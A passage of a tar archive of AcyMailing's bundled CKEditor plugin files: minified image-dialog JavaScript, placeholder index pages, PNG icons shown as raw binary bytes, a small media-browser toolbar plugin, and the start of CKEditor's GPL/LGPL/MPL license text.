(b.setStyle("margin-left",CKEDITOR.tools.cssLength(c)),b.setStyle("margin-right",CKEDITOR.tools.cssLength(c))),!d&&a==f&&b.removeAttribute("hspace")):8==a&&(b.removeAttribute("hspace"),b.removeStyle("margin-left"),b.removeStyle("margin-right"))}},{type:"text",id:"txtVSpace",requiredContent:"img{margin-top,margin-bottom}",width:"60px",label:c.lang.image.vSpace,"default":"",onKeyUp:function(){g(this.getDialog())},onChange:function(){i.call(this,"advanced:txtdlgGenStyle")},validate:CKEDITOR.dialog.validate.integer(c.lang.image.validateVSpace),
setup:function(a,b){if(a==f){var c,e;c=b.getStyle("margin-top");e=b.getStyle("margin-bottom");c=c&&c.match(o);e=e&&e.match(o);c=parseInt(c,10);e=parseInt(e,10);c=c==e&&c;isNaN(parseInt(c,10))&&(c=b.getAttribute("vspace"));this.setValue(c)}},commit:function(a,b,c){var e=parseInt(this.getValue(),10);a==f||4==a?(isNaN(e)?!e&&this.isChanged()&&(b.removeStyle("margin-top"),b.removeStyle("margin-bottom")):(b.setStyle("margin-top",CKEDITOR.tools.cssLength(e)),b.setStyle("margin-bottom",CKEDITOR.tools.cssLength(e))),
!c&&a==f&&b.removeAttribute("vspace")):8==a&&(b.removeAttribute("vspace"),b.removeStyle("margin-top"),b.removeStyle("margin-bottom"))}},{id:"cmbAlign",requiredContent:"img{float}",type:"select",widths:["35%","65%"],style:"width:90px",label:c.lang.common.align,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.alignLeft,"left"],[c.lang.common.alignRight,"right"]],onChange:function(){g(this.getDialog());i.call(this,"advanced:txtdlgGenStyle")},setup:function(a,b){if(a==f){var c=b.getStyle("float");
switch(c){case "inherit":case "none":c=""}!c&&(c=(b.getAttribute("align")||"").toLowerCase());this.setValue(c)}},commit:function(a,b,c){var e=this.getValue();if(a==f||4==a){if(e?b.setStyle("float",e):b.removeStyle("float"),!c&&a==f)switch(e=(b.getAttribute("align")||"").toLowerCase(),e){case "left":case "right":b.removeAttribute("align")}}else 8==a&&b.removeStyle("float")}}]}]},{type:"vbox",height:"250px",children:[{type:"html",id:"htmlPreview",style:"width:95%;",html:"<div>"+CKEDITOR.tools.htmlEncode(c.lang.common.preview)+
'<br><div id="'+m+'" class="ImagePreviewLoader" style="display:none"><div class="loading">&nbsp;</div></div><div class="ImagePreviewBox"><table><tr><td><a href="javascript:void(0)" target="_blank" onclick="return false;" id="'+A+'"><img id="'+z+'" alt="" /></a>'+(c.config.image_previewText||"Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Maecenas feugiat consequat diam. Maecenas metus. Vivamus diam purus, cursus a, commodo non, facilisis vitae, nulla. Aenean dictum lacinia tortor. Nunc iaculis, nibh non iaculis aliquam, orci felis euismod neque, sed ornare massa mauris sed velit. Nulla pretium mi et risus. Fusce mi pede, tempor id, cursus ac, ullamcorper nec, enim. Sed tortor. Curabitur molestie. Duis velit augue, condimentum at, ultrices a, luctus ut, orci. Donec pellentesque egestas eros. Integer cursus, augue in cursus faucibus, eros pede bibendum sem, in tempus tellus justo quis ligula. Etiam eget tortor. Vestibulum rutrum, est ut placerat elementum, lectus nisl aliquam velit, tempor aliquam eros nunc nonummy metus. In eros metus, gravida a, gravida sed, lobortis id, turpis. Ut ultrices, ipsum at venenatis fringilla, sem nulla lacinia tellus, eget aliquet turpis mauris non enim. Nam turpis. Suspendisse lacinia. Curabitur ac tortor ut ipsum egestas elementum. Nunc imperdiet gravida mauris.")+
"</td></tr></table></div></div>"}]}]}]},{id:"Link",requiredContent:"a[href]",label:c.lang.image.linkTab,padding:0,elements:[{id:"txtUrl",type:"text",label:c.lang.common.url,style:"width: 100%","default":"",setup:function(a,b){if(2==a){var c=b.data("cke-saved-href");c||(c=b.getAttribute("href"));this.setValue(c)}},commit:function(a,b){if(2==a&&(this.getValue()||this.isChanged())){var d=this.getValue();b.data("cke-saved-href",d);b.setAttribute("href",d);if(this.getValue()||!c.config.image_removeLinkByEmptyURL)this.getDialog().addLink=
!0}}},{type:"button",id:"browse",filebrowser:{action:"Browse",target:"Link:txtUrl",url:c.config.filebrowserImageBrowseLinkUrl},style:"float:right",hidden:!0,label:c.lang.common.browseServer},{id:"cmbTarget",type:"select",requiredContent:"a[target]",label:c.lang.common.target,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.targetNew,"_blank"],[c.lang.common.targetTop,"_top"],[c.lang.common.targetSelf,"_self"],[c.lang.common.targetParent,"_parent"]],setup:function(a,b){2==a&&this.setValue(b.getAttribute("target")||
"")},commit:function(a,b){2==a&&(this.getValue()||this.isChanged())&&b.setAttribute("target",this.getValue())}}]},{id:"Upload",hidden:!0,filebrowser:"uploadButton",label:c.lang.image.upload,elements:[{type:"file",id:"upload",label:c.lang.image.btnUpload,style:"height:40px",size:38},{type:"fileButton",id:"uploadButton",filebrowser:"info:txtUrl",label:c.lang.image.btnUpload,"for":["Upload","upload"]}]},{id:"advanced",label:c.lang.common.advancedTab,elements:[{type:"hbox",widths:["50%","25%","25%"],
children:[{type:"text",id:"linkId",requiredContent:"img[id]",label:c.lang.common.id,setup:function(a,b){a==f&&this.setValue(b.getAttribute("id"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("id",this.getValue())}},{id:"cmbLangDir",type:"select",requiredContent:"img[dir]",style:"width : 100px;",label:c.lang.common.langDir,"default":"",items:[[c.lang.common.notSet,""],[c.lang.common.langDirLtr,"ltr"],[c.lang.common.langDirRtl,"rtl"]],setup:function(a,b){a==f&&this.setValue(b.getAttribute("dir"))},
commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("dir",this.getValue())}},{type:"text",id:"txtLangCode",requiredContent:"img[lang]",label:c.lang.common.langCode,"default":"",setup:function(a,b){a==f&&this.setValue(b.getAttribute("lang"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("lang",this.getValue())}}]},{type:"text",id:"txtGenLongDescr",requiredContent:"img[longdesc]",label:c.lang.common.longDescr,setup:function(a,b){a==f&&this.setValue(b.getAttribute("longDesc"))},
commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("longDesc",this.getValue())}},{type:"hbox",widths:["50%","50%"],children:[{type:"text",id:"txtGenClass",requiredContent:"img(cke-xyz)",label:c.lang.common.cssClass,"default":"",setup:function(a,b){a==f&&this.setValue(b.getAttribute("class"))},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("class",this.getValue())}},{type:"text",id:"txtGenTitle",requiredContent:"img[title]",label:c.lang.common.advisoryTitle,
"default":"",onChange:function(){g(this.getDialog())},setup:function(a,b){a==f&&this.setValue(b.getAttribute("title"))},commit:function(a,b){a==f?(this.getValue()||this.isChanged())&&b.setAttribute("title",this.getValue()):4==a?b.setAttribute("title",this.getValue()):8==a&&b.removeAttribute("title")}}]},{type:"text",id:"txtdlgGenStyle",requiredContent:"img{cke-xyz}",label:c.lang.common.cssStyle,validate:CKEDITOR.dialog.validate.inlineStyle(c.lang.common.invalidInlineStyle),"default":"",setup:function(a,
b){if(a==f){var c=b.getAttribute("style");!c&&b.$.style.cssText&&(c=b.$.style.cssText);this.setValue(c);var e=b.$.style.height,c=b.$.style.width,e=(e?e:"").match(k),c=(c?c:"").match(k);this.attributesInStyle={height:!!e,width:!!c}}},onChange:function(){i.call(this,"info:cmbFloat info:cmbAlign info:txtVSpace info:txtHSpace info:txtBorder info:txtWidth info:txtHeight".split(" "));g(this)},commit:function(a,b){a==f&&(this.getValue()||this.isChanged())&&b.setAttribute("style",this.getValue())}}]}]}};
CKEDITOR.dialog.add("image",function(c){return r(c,"image")});CKEDITOR.dialog.add("imagebutton",function(c){return r(c,"imagebutton")})})();                                                                                                                                                                                                                                                                                                       editors/acyeditor/acyeditor/ckeditor/plugins/image/images/index.html                                0000705                 00000000054 15242051521 0021766 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/image/images/noimage.png                               0000705                 00000004103 15242051521 0022115 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR   (   (    H_   PLTEVV\\TT⟟XX⠠▖bbIIff``CCFFMMZZ㮮㳳SSᆆ቉⚚wwWWxx~~⑑ጌ㭭㣣DD㻻nn⨨ᐐⓓ^^XXᗗNNooKKAAllttUU└JJᎎ㵵㱱㽽uvee㲲⥥㼼PPፍ㪪[[㺺㶶mm㾾qq}}yyPPQQ㰰㷷⛛☘ss❝rrss㯯✜ᄄኊ㫫ዋ⭭ለ]]||㝝GG♙㘘ddiikk潽ppzzHH➞NN䟞㴴⣣^^??;;aa⦦ᕕSS>>||ᇇᅅ⸸ⱱ⪪㢢⬬ႂ人QQ㸸䱱㿿hh㧧RR⎎jj㜜ab毮䥥⽽⮮⫫洴⢢㬬汱䵵䷷⧧㦦庹绺䨨ᄃRRᓓ㹹䠟UU99@@JJ77䪪SSPPff躹似䲲᜜Ⲳ❞ᘘ⋋纹⍍㚚ⷷrszzYp  IDATx^=H6m۶mo۶m۶͵WS[IʯPPرc?BQQ`4
M<b%:m
Vă^jWlKLrtq9F=ayyjSypFQУZyxŘ19 |#9fǎиLBp 4fJM}m݊]S7ZřpΙ(;\Y	Ѐ^	
###CR(VS3Ե%0F)\0 ]/}MR\xۧ[?[S~yp]qzCȂ*oj!*jnkA]YW|ecc)###E"P`k1%j]AOMuh:AmQ(F	lxmrƖWNP6>GˆSPZ;vv$ EkXಹҥfSY%B9k@-:fA;4rD9)z@U^Ni̲\˻j+Iʲr$MWh|i]oi^HI:s]R@/͵k"LJ["ew3VJ뛒0JB1$mHV׵`>c{]j*iI筮+|} x)/buec1 Qe=޻1Uw]4ƻxgpzݜ_j]uYJgvh0`Zx'T/Z;JyׯM͛/*1G*+2ݽ^Xnv:>/0*Au[SqK`C^\ߢgz+KQ6.\:~l;zĨq{Y=̣K||gg3Chf
=C(kAgOv|I&#`r4hӷE&X%!!av-}|ꕋ{qN)d2Q;͍g-@LTmt6>-,wy3:;;<(9,oTWbZZr8K.w|!"Bt6 }r9iX=9W`Ȇ݆;&j,sp ?騷-EwfzSb,Y2=s&ûy<{<O[Q'TFWgZ    IENDB`                                                                                                                                                                                                                                                                                                                                                                                                                                                             editors/acyeditor/acyeditor/ckeditor/plugins/icons.png                                              0000705                 00000024322 15242051521 0017267 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR        1    IDATx}ytՙv[f!vEl$%7yxyCa03/$8q0s3!Wlcx%{wujUuWu!9uW߽U}~Gl@2 PZ&x<_זF"LMM#a׮]A 8%K%`4ﭭҥK^{-rʠjwy<Y*ϥ  @1˗z>/i$80ZccK8FGG/8A Fӹjb "<3hkkۜ ! 
;;;MNNH.Z:::z# cZl6o0m"D4uppp } 5!1 ;A@cc#!c \ "6GS'F`0
q0ͨƅp-'49 cǎ`0r!ٵkr-ej "K2  cUyox9at|N aNy!կQ_׌V `||.\m)((~{"zWXA/(LDMrbZ؏A˗~1v<'1 دig UUU0JJJN2&d"TWWz[f;)HDZ2qp b 1Ap7gx@xΜ9G6-
VTl0>k,c^^8025W EIe DdV)aU)q]c9 F APB{aa/ZZZqb0(FGGQVVfݻwo@֥s-_9ёoؒ%K{{{mmm~@b`  na%̙"-[xc1sye>رcǉ5k4l6`xx񱱱? xfrF#</O	D((OMMaڵ޽{|p^xA g>: D +Vc޽zjz}  <fEcW ~?fϞi477C(B<GQQ0::{ܨI͛7s199Bٳ1T<"$gh#"/ODQfE:t(&2x	-Kpoֶlrd6Odey׮][mJKKpBŋǎ=[@R"Q'=sm5\.' \z֭[? c݌0>cB@  xg*+8@~c|Dܳg/ثEDV*--|]EEE---mLgF]|y'3gb 4DAD\YZ'ѳ2ekH >f83Y YTI?>&"HM7TF baK_c 8Z0bKIdR,6 8sm
2)CqAKZ`	3R,11/A>#ŢLh4nJ GŢCi  x$# F$II_LY&Ɨ.]~yyJ̙Gy4>^XLz(8"HZ! D J3ꚫhNj|8t~Ehc񸂊Z'^v-/WTTTFa62~?|	@cl㨯?ZG͛7?[SS%Cn&3DD+Ռ>]]]H$Rq-+ =ZӄX~GD":(+B9tm*.PD\ւ>Wj-CZ K2M7Df"$ө%H7x#!q0-P6|;Y^PP N>7.b~oooy8x^׿` EEEM `bbp\ p88z9 ]s\z> pP@>远?wELMM'"K[n: r-葝;w^Yh|+T^^ .\H=Djll?>=?љgyD%jjjIDV5կ~uѹњ+D ~EDo(:'vD`4]ED. [lyס:HdUNkkkINs2'"NRӈ.LDVk9ڐSa24D2c4.0,j<j5qDQ$ 31q:!1%oqgjO'&iy [3	d{s@/Pt9.Myt5,6{O`n#᧘*2R^^>,%}mmm.[i6߀l K^^+V$p=ҥKfo2f˗{^ʫ644<ZD}񉾾l8zǏ?'-FA~3o޼ކ0(jjj^{weM61ymܸX?{ʞ*vݿSr$	y<CjXk9?_Ap8v @8eǡC&;6eCw7Wixjjoonݺ"*""'=s7{zz|m꧄wG}t+-%<ѱ#KKKcH '@Dqu }򻻻kZ'pرc  VUUEDd7o{>]wDdS ^J&$HѳD4"6jCǧ]/zAt!JfHP{  w]wՕ  .]W_} H|ؑJĉ'澾>?D& osNɓ'kll 4*XZDDuIIINu@iJTLO$FSmAJoR&Xp5.IFjd5IF*>*eU PsȑvC^^^,hdW&]gμ֩Z%.:t BFzAQ Pi$&PL/lhhH;D"  c8~8y_ jjjC, 緿wFFF|Pbףn@UUUFߏP(p8׋˖-{i/0v{d~ @EE9I  &(|><cb흚JD"I	'@${ E &&&G"d9I&r m׷1 1ɒ%}>_SIfr@Bb1DQ\z5sm`h4>p˗"^@j~~^ 6ʍNVRRM%ɤ@
zb<XQQcƘg	Hb,Xluii1ۇ~Ah `0ŌeeecUyyyKڜCbwu(@(*744l7Hp8LvT^^Μ9łx<{w;g|``}llld2J",1Hp8q{wܹQ  o(H;( L	/ :>'\&і;y;w$ҐɍJa: g"`ikk/` 0L̈́ʖ ~㽽PٞJ ??rzzzBH|yy9 \tvuuB!\zuɓ?Uh!3<p8pʕS,8rN^z5r78 (,ک}gmm7\+VG 6! Vk: U]]O>؂bŊ֒& h4J`<"^0x<NJ3'x,KڶY4F `X`ۑ&$ߚ'|V+8|x~O=ԧ%<cd6DP(5k||%јiA?uIllKhDaa!q6DQ\rH$f3fBqn5H<C3z?U6L9qs֡S'i *br55%es D'cWcO"!4)Y$*	/12xں/+WjɓiQPP GD{*uq̜fj<x}}=!6l5x?18fɴa``9o<j"Id2IJKKsw~~	 wƟb1B!tvv,FI1 3gXǾ6<Ap	 q&''122nGϷ6TWWHG(Azwrqq1bXDA HIr	]>rա7>Qm8)_ijw@QQҿoU_ ԣDcXIDc%*@D<%*JvgoBO&l ^"6Mu1N"@ pDYwdNJH,L\3m/H 4b2ƮX1>8rzR.I䧹Ԧq Z"
%3Gmi"T=Y	 f/.._B c	_i0IDeH^knn>&ׯ_oɋ4@ PCD[e[ v? InEYdyHz!.{6Ψ#2qK/ک ڜ@B=瓳}=M=0Lo pe;"
ũ07t|r}ZU$P}`Z'Sˈדd/H8tM|AUwd O=S;F>Qmјu"uMW&./&n_NxWEfjt咚+E g$@Dew/?@h,> ccc:a> "(Sa>iEsm)sYSwkA6y}@!,B`	;4_?.^3@͙3n<gtccc8x?c̤ Oڄx<pe>}z'n¬YPTT+J:U x5 v{NO&{f,D΁sFr	qLS	p8n 0Y_Wϟǻ*Gjǵg5gHf̟?<k'
0::/NYJPb]ۂ,{)T4% lll4
V"B40crNԞh΢~an-D_,w:E!EBzI'3$pz&uΑ0Osq ŁS4RFXH5Y/yNPP`[$^N"OMiFqe0BiȨgml^ ٌYuEFyrR*I9T3&l6m9Ҷ#ec9jMURkj'\.x<:B#it k[ISavv{1퓑H^ /pcc#͛7l6[bd_c{{;}Gs7x#âD~zLNN&:~8K~3g ADbIh4GrE8I #d2A^4HVDڔ<< qvHQ
R%Ɏ$ٍVMC,ch`~~dFu 8X~sjjjeeeWZgD  ??_)>"wAVAD/Ee\sft|?+"Gzf͛Gd6HxDbz7)A%9_PP@7q8p1\xDtpjkkq!@"O8ըc` gϞ + ʢ 	"PN%*EoK$&
 bCܤEKmB0D4MrrF`||^w`0|Vj"??D`00 ۈ肨ѕUVm-++^SS%seJ$>Q?l!"7.}}U΋A˙ut9Cǧ\]Dy>B_]]}>yBH"$ߘ=uwwSwwbl6	9IruWUUQ(:@14CЁ*"n	 r1o6o).<b?c,nX'9ַ )"Z>`X'"իWopXޕ+WnYr[)Oիџ	D Lj&S_ C/,>Gzd2׮ˉ>ϣ;1͌;fsŋfaGK/^z֭[\|ѦsGDSO #]]];0PO8WYY9rСUrZzA"2+/S[[KsΝ$]D<)MF,LJ3M#vr\ZY .̚5kIL>LXvg~;rvՕTBD;6}TC9G2CʵMV`z%$"zKC%+gٲel2 m:JF./VVV<oJ@mbaȽ{?+|6Q5Bdd+2ʅM6h0Û6m">F:h	\ SO~.:Qi\O~NLvD^^^R<Kk. rcԡ@c3b%MD*w~vADQfڒajۭb:8ք$+N.Q*<uFQmە;#c1\xcs=2HDe?:`P| dRD˫俳	T{!9&䩌1PrH\LҐ<NL̟cT3}i21M1|=.UUU4w\ @ ~R:::hܹ$Ayy9cloi("vmo:A"cgϞMшӧOh4BA_ޞ1ׂ 3	 o4_V%X'-D4DD+P?  멿-D4TXXE޾goqL˾db7D4SnYbڏ;E&yZ^xK&a!ձX,h"jjj"+QKSS-ZHdX'G@ x"y`+cDwuԩSX,عsgℨ`0r<&Re ?@ x x" xѣGcR;16`kk+AHƈ`xx8UMHoV"z:0t:t!Br" ߏ:)fcxĉ|CCCscc҆QA`Z'NXO<^cc 1"?C!1o14S~r Z_&TMe"?	E[>Pn&~kmK &Y[(SYv  -DQC1 ?Dwќ@v(fu  IDATxȑ#'tHpJ[{_˱.:td9gG^	:$MАLT
&+49UWhUW$	h[$@tE('3D]+ %V_ ..ц+t|ZZ$o  w]wՕ  .]W_} H-zHQx;wf9g ;R`	%%%zAs5IȐoەMnv&x߲3UE42VHWkr6IZ➞\gm󅚚:V/Vkz!U Pl됤@I !Ii~rMH3i,TW9>eb\+R*wLE4uK2u-x&}0A={;n?OK<O}0DaaCcc厎yn$NAzzz:GFF7unIUcнdg8ƕ+WXͫBmzbA8n?*ñHֹt}j2[d	,*,,Bx?`L	|cbbuuu2 5<EPjrtȑbrq  ^wEiŁeJLsѶ!mnn_zu4bWcg lqD[[qoxxy579 6Xoۭw5rKEEE}N}Ị[t鵫A:fU,3Wv:ZcVLR"j[ZQnX JKK5	P x-$OvTopJYFuu5@ee%( : ̞=[	/n Nឞ2 >[
^i}wZ,C^_`bbWΝRQEEE$/ϟ;1kcggg e'*r~# ߻5MCeF,R.KFrnu㏆L:`Uz	.p:Yhz"!d5DtnkS)D't@X>@ uD+#7===t: ~_?q: so)lܹs xX,:;;pN::;;c 6Y?~㸿uG:AYeR;I	:`+fOP(A=[RȔ<	#`6a2
%Bf1`X0k,(&rJ$1zn2(fj߻Ԝx4Cr)HM&SNiǁIs544pKD$,:Y?N$yk'tfR"`l."]C  /]k^ ˷i!# v_2qԩ	0^mnnF4tHp9$Wxnhxᣏ>B(Ň~x ^EVwl6 S(l6\.***P]]]499$yheee <#Bݗ.]r (+,,t`>;tQ{ߪuttPCCvDtÞ=%}&WX,礽kb$~l$ThܮO<AXEDd0#:t|x		qmuH4dh{qۑڭu:"  |oo4í/^2L  Zv;f3jkk:`0`llo _ff%'b`09---\YYY͛n7ߌ1 .L<ߝA099#Ν 1ƒYSSc;u֡@v񎎎k-oO~UT"wQrSb!rnhhh%|۟xD0ۉ=4'WȥYYt]/СSڑ~vxvVݎۑtAS OUSM-BSTu?LY~:81ە(    IENDB`                                                                                                                                                                                                                                                                                                              editors/acyeditor/acyeditor/ckeditor/plugins/index.html                                             0000705                 00000000054 15242051521 0017437 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/index.html                             0000705                 00000000054 15242051521 0022617 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/icon-16-mediabrowser.png               0000705                 00000000753 15242051521 0025173 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       PNG

   IHDR         a   bKGD      	pHYs        tIME8M  xIDAT8œ?aOu7B@ld~+r"'H"s b%D.(
ﻓf́DbwgywH$IPU/1 vEND~-,;zA` fb9N50@UoUIUoOԼ>nh4Ω<}sl]W}Mz0g G<+0GMZT*OiֲZMDFȮVfx<]|>jv1Ơ8fa^\.by IĻݎ<( 2<@᝗V kmd*
#=30niK7`)8    IENDB`                     editors/acyeditor/acyeditor/ckeditor/plugins/acymediabrowser/plugin.js                              0000705                 00000002474 15242051521 0022466 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       (function() {
	var a= {
		exec:function(editor){
			if (parent.IeCursorFix)
			{
				parent.IeCursorFix();
			}
			if (parent.SetIgnoreDeselection)
			{
				parent.SetIgnoreDeselection();
			}
			var itemElement = document.getElementById('AcyLienMediaBrowser');
			if (itemElement)
			{
				if (FireClick)
					FireClick(itemElement);
			}else if(parent.FireClick)
			{
				var itemElement = parent.document.getElementById('AcyLienMediaBrowser');
				parent.FireClick(itemElement);
			}

		}
	},
	b='acymediabrowser';
	CKEDITOR.plugins.add(b,{
		init:function(editor){
			editor.addCommand(b,a);
			editor.ui.addButton("acymediabrowser",{label:editor.lang.acymediabrowser.toolbar,
											icon: this.path.split("/plugins/")[0] + "/media/com_acymailing/images/editor/icon-16-mediabrowser.png",
											command:b,
											toolbar: "insert"});

			editor.on( 'doubleclick', function( evt )
					{
							var element = evt.data.element;

							if ( element.is( 'img' ) ){
								var itemElement = document.getElementById('AcyLienMediaBrowser');
								if(itemElement){
									FireClick(itemElement);
								}else{
									itemElement = parent.document.getElementById('AcyLienMediaBrowser');
									parent.FireClick(itemElement);
								}
							}

					});
		}
	});

})();
                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/LICENSE.md                                                     0000705                 00000205141 15242051521 0015371 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       Software License Agreement
==========================

CKEditor - The text editor for Internet - http://ckeditor.com
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.

Licensed under the terms of any of the following licenses at your
choice:

 - GNU General Public License Version 2 or later (the "GPL")
   http://www.gnu.org/licenses/gpl.html
   (See Appendix A)

 - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
   http://www.gnu.org/licenses/lgpl.html
   (See Appendix B)

 - Mozilla Public License Version 1.1 or later (the "MPL")
   http://www.mozilla.org/MPL/MPL-1.1.html
   (See Appendix C)

You are not required to, but if you want to explicitly declare the
license you have chosen to be bound to when using, reproducing,
modifying and distributing this software, just include a text file
titled "legal.txt" in your version of this software, indicating your
license choice. In any case, your choice will not restrict any
recipient of your version of this software to use, reproduce, modify
and distribute this software under any of the above licenses.

Sources of Intellectual Property Included in CKEditor
-----------------------------------------------------

Where not otherwise indicated, all CKEditor content is authored by
CKSource engineers and consists of CKSource-owned intellectual
property. In some specific instances, CKEditor will incorporate work
done by developers outside of CKSource with their express permission.

Trademarks
----------

CKEditor is a trademark of CKSource - Frederico Knabben. All other brand
and product names are trademarks, registered trademarks or service
marks of their respective holders.

---

Appendix A: The GPL License
---------------------------

GNU GENERAL PUBLIC LICENSE
Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software-to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
